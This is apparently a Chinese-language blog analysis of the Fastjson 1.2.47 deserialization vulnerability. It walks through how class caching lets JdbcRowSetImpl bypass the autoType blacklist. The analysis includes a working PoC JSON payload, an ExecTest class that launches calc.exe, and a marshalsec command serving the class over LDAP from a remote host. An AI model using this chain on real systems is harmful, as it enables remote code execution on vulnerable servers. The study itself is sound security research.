千家信息网

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

发表于:2026-11-02 作者:千家信息网编辑
千家信息网最后更新 2026年11月02日,这篇文章将为大家详细讲解有关Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。前言这次
千家信息网最后更新 2026年11月02日Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

这篇文章将为大家详细讲解有关Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

前言

这次将要介绍的是Fastjson 1.2.47版本存在的漏洞成因以及其利用方式。

Fastjson 1.2.47漏洞分析

Fastjson 1.2.47版本漏洞与上篇文章中介绍的几处漏洞在原理上有着很大的不同。与Fastjson历史上存在的大多数漏洞不同的是,Fastjson 1.2.47版本的漏洞利用在AutoTypeSupport功能未开启时进行

首先来看一下公开的poc

public class demo {public static void main(String[] args) {String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +"\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExecTest\",\"autoCommit\":true}}";Object obj = JSON.parseObject(payload);System.out.println(obj);}}

从代码中可见,与以往利用不同的是,该poc中构造了两个json字符串

1、"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}2、"b":{"\@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}

为了弄清楚这样构造的意义,我们来动态调试一下这个漏洞

程序首先解析第一个json字符串

"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"} 解析过程

我们跳过部分FastJson解析流程,直接来看checkAutoType安全模块时的操作。对这个字符串中\@type字段进行校验

在位于com/alibaba/fastjson/parser/ParserConfig.java的checkAutoType安全模块中,程序首先进入了这个分支,程序调用getClassFromMapping对typeName进行解析,typeName即为字符串中@type的值,在第一个json字符串中,这个值为"java.lang.Class"

我们跟入位于com/alibaba/fastjson/util/TypeUtils.java 的getClassFromMapping

从上图代码可见,程序想从mappings中寻找键名为"java.lang.Class"的元素并返回对应的键值。值得一提的是,mappings合集与后文将要讲到的buckets合集对这个漏洞至关重要,这二者是这个漏洞产生的核心因素

  • mappings合集

mappings中存储的数据都是什么呢?经过调试可以发现其中数据形式如下图中所展示

从上图可见,mappings中存储着类名字符串以及对应类对象。然而mappings中的数据又是从何而来的呢?

经过调试发现,mappings中存储的数据是由位于com/alibaba/fastjson/util/TypeUtils.java的addBaseClassMappings方法添加的

从Mapping合集中的数据可以猜测,Mapping是用来存储一些基础的Class,以便于在反序列化处理这些基础类时提高效率

在弄清楚mappings列表的由来后,继续回到正题。我们构造的typeName(@type指定的"java.lang.Class")并不在Mappings的键中。因此getClassFromMapping方法返回null,程序继续向下执行进入下一个if分支。此时程序接着调用deserializers.findClass对传入的typeName进行解析

我们跟入位于com/alibaba/fastjson/util/IdentityHashMap.java的findClass方法进行进一步分析

从上图代码可见,程序会遍历buckets,取出其中元素的key属性值的名称并与传入的"java.lang.Class"进行比较,如果二者相同,则将这个Class对象返回

  • buckets合集

现在我们要谈谈buckets合集了。buckets又存储着什么元素呢?见下图

上图我们展开了一个buckets合集中元素进行展示。与Mapping合集相同的问题产生了:buckets中的元素都有哪些、他们又从何而来呢?经过调试我们在见下三张图中找到了答案

通过FastJson作者关于buckets合集的注释猜测,buckets是一个用于并发的IdentityHashMap

回到调试流程中findClass方法来,我们构造的typeName(@type指定的"java.lang.Class")被findClass方法匹配到了,因此java.lang.Class类对象被返回

在findClass执行完成后,java.lang.Class类对象被返回到checkAutoType中并赋值给clazz,checkAutoType方法也将于963行处将clazz返回。

回顾一下上文中的Mapping合集和buckets合集,Fastjson为什么要将用户传入的\@type字段指定的字符串在这两个合集中匹配呢?

Mapping合集则是用来存储基础的Class,如果\@type字段传入的字符串如果对应了基础Class,程序则直接找到其类对象并将其类对象返回,从而跳过了checkAutoType后续的部分校验过程。而buckets合集则是用于并发操作。

但无论Mapping合集与buckets合集实际作用是什么,但凡用户传入的\@type字段字段值在两个合集中任意一个中,且程序使用JSON.parseObject(payload);这样的形式解析字符串(确保expectClass为空,防止进入上图957行if分支),checkAutoType都将会直接将其对应的Class返回。

checkAutoType在将clazz返回后,程序将会执行到com/alibaba/fastjson/parser/DefaultJSONParser.java中的如下代码

从上图第一个红框可见,checkAutoType在将用户传入的@type值返回后,程序会赋值给上图316行处clazz变量,而上图384行处的deserialze方法紧接着处理这个clazz变量

跟入位于com/alibaba/fastjson/serializer/MiscCodec.java的deserialze方法中

public  T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {JSONLexer lexer = parser.lexer;⋮if (lexer.token() == JSONToken.LITERAL_STRING) {if (!"val".equals(lexer.stringVal())) {throw new JSONException("syntax error");}lexer.nextToken();} else {throw new JSONException("syntax error");}parser.accept(JSONToken.COLON);objVal = parser.parse();parser.accept(JSONToken.RBRACE);⋮if (objVal == null) {strVal = null;} else if (objVal instanceof String) {strVal = (String) objVal;} ⋮if (clazz == Class.class) {return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());}

此时传入deserialze中clazz变量为checkAutoType安全模块校验后返回的"java.lang.Class"而fieldName变量值为解析的第一个json字段名"a"

deserialze方法中,与本次漏洞与poc构造的代码块主要有三部分,分别是:

  1. 取出json字符串中val值

if (lexer.token() == JSONToken.LITERAL_STRING) {if (!"val".equals(lexer.stringVal())) {throw new JSONException("syntax error");}lexer.nextToken();} else {throw new JSONException("syntax error");}parser.accept(JSONToken.COLON);objVal = parser.parse();parser.accept(JSONToken.RBRACE);

在这段代码中,程序将判断传入的json字符串中是否有"val",并将其值通过下图第一个红框处的代码取出赋值给objVal变量。

  1. 将objVal变量值转换为String类型并赋值strVal变量

if (objVal == null) {strVal = null;} else if (objVal instanceof String) {strVal = (String) objVal;}

这段代码与上一段衔接,objVal变量值又传递给下图第二个红框处。strVal变量判断objVal非空且为String类实例时,将其转换为String类型并赋值与strVal

  1. 调用TypeUtils.loadClass处理val值

if (clazz == Class.class) {return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());}

这段代码的作用时,当传入的clazz变量为Class的类对象时,调用TypeUtils.loadClass处理strVal(即json字符串中的val值)

在分析完deserialze方法的加工流程后,我们回头看看poc中构造的val值是什么,见下图红框处

poc中构造的是com.sun.rowset.JdbcRowSetImpl字符串,也就是过往漏洞利用中可利用的类。但是根据之前的分析,自从黑名单机制的完善,这个类早已已经不能简单的直接利用了,这个漏洞究竟是如何让这个类绕过黑名单重获新生呢?我们继续往下看看TypeUtils.loadClass中的操作,继续跟入位于com/alibaba/fastjson/util/TypeUtils.java的loadClass

public static Class loadClass(String className, ClassLoader classLoader, boolean cache) {if(className == null || className.length() == 0){return null;}Class clazz = mappings.get(className);if(clazz != null){return clazz;}if(className.charAt(0) == '['){Class componentType = loadClass(className.substring(1), classLoader);return Array.newInstance(componentType, 0).getClass();}if(className.startsWith("L") && className.endsWith(";")){String newClassName = className.substring(1, className.length() - 1);return loadClass(newClassName, classLoader);}try{if(classLoader != null){clazz = classLoader.loadClass(className);if (cache) {mappings.put(className, clazz);}return clazz;}} catch(Throwable e){e.printStackTrace();// skip}try{ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();if(contextClassLoader != null && contextClassLoader != classLoader){clazz = contextClassLoader.loadClass(className);if (cache) {mappings.put(className, clazz);}return clazz;}} catch(Throwable e){// skip}

loadClass接收的一个参数:"className"为String类型变量,根据上文的调用关系,这里传入的是字符串"com.sun.rowset.JdbcRowSetImpl",即className参数值为"com.sun.rowset.JdbcRowSetImpl"

通过分析loadClass方法代码,可以发现如下代码

try{ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();if(contextClassLoader != null && contextClassLoader != classLoader){clazz = contextClassLoader.loadClass(className);if (cache) {mappings.put(className, clazz);}return clazz;}}

在该代码段中,程序通过contextClassLoader.loadClass(className);方法从字符串类型className变量("com.sun.rowset.JdbcRowSetImpl")获取到com.sun.rowset.JdbcRowSetImpl类对象,并赋值给clazz变量。此时的className、clazz变量形式如下图

接着,程序判断cache变量情况:在当cache为true时,将className、clazz键值对加入mappings合集(cache默认为true)。

经过动态调试可以发现,通过上面的一系列操作,Mappings合集中确实已经加入了我们的恶意类com.sun.rowset.JdbcRowSetImpl,见下图

在我们的第一个json字符串解析完成后,程序随后会解析我们第二个json字符串

"b":{"\@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}解析过程

与第一个json字符串解析流程完全一致,程序也执行到下图部分

由于这次Mapping中有键名为com.sun.rowset.JdbcRowSetImpl的元素,因此clazz被赋值为com.sun.rowset.JdbcRowSetImpl类对象

从下面两张图可见,此时上文的流程完全一致,只不过这次返回的时com.sun.rowset.JdbcRowSetImpl类对象

com.sun.rowset.JdbcRowSetImpl恶意类被顺利返回,但是整个操作流程中并未触发checkAutoType黑白名单校验机制。随后com.sun.rowset.JdbcRowSetImpl恶意类被反序列化,触发利用

漏洞利用

为了证实漏洞的存在,我们首先在192.167.30.116服务器的80端口web服务上部署ExecTest.class。ExecTest.java中内容如下

javaimport javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class ExecTest implements ObjectFactory {@Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) {exec("xterm");return null;}public static String exec(String cmd) {try {Runtime.getRuntime().exec("calc.exe");} catch (IOException e) {e.printStackTrace();}return "";}public static void main(String[] args) {exec("123");}}

使用marshalsec开启ladp服务,监听在1389端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.167.30.116/java/#ExecTest" 1389

demo程序执行完毕,计算器成功弹出

Fastjson 1.2.47版本的漏洞与Fastjson历史上存在的大多数漏洞不同。本次漏洞相比自立一派,与过往那些针对补丁绕过的漏洞相比,本次漏洞更为复杂与精妙。1.2.47版本的漏洞涉及到一些Fastjson机制类的知识,通过对这个漏洞进行分析,可以更好的了解FastJson框架。

关于Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

漏洞 合集 字符 字符串 程序 代码 变量 方法 对象 上图 版本 下图 元素 字段 流程 分析 存储 数据 不同 基础 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 广州大一互联网络科技有限公司 山东特亿宝互联网科技有限公司 互联网金融监管科技数据 嘟嘟瓜互联网科技 碳银互联网科技 互联网科技的英文 狮子座互联网科技有限公司 时间互联网络科技 中化能源互联网科技招聘 互联网科技有哪些公司 互联网科技人工智能实验室 无锡工业互联网科技有限公司 深圳无忧互联网科技 产业互联网科技服务公司 领航科技大厦互联网公司 中国新注册互联网科技 青岛互联网科技园 伍佰万互联网科技是干嘛的 互联网科技企业文化 科技发展第三阶段互联网时代 互联网黑科技 深圳九邦互联网科技有限公司 互联网科技工作委员会毛军 科技金融是不是互联网金融 科技创新互联网企业 广州善班互联网科技 互联网科技公司实习生 深圳育鹏互联网科技有限公司招聘 广东工业互联网大赛深圳学泰科技 广东猫王互联网科技有限公司电话
0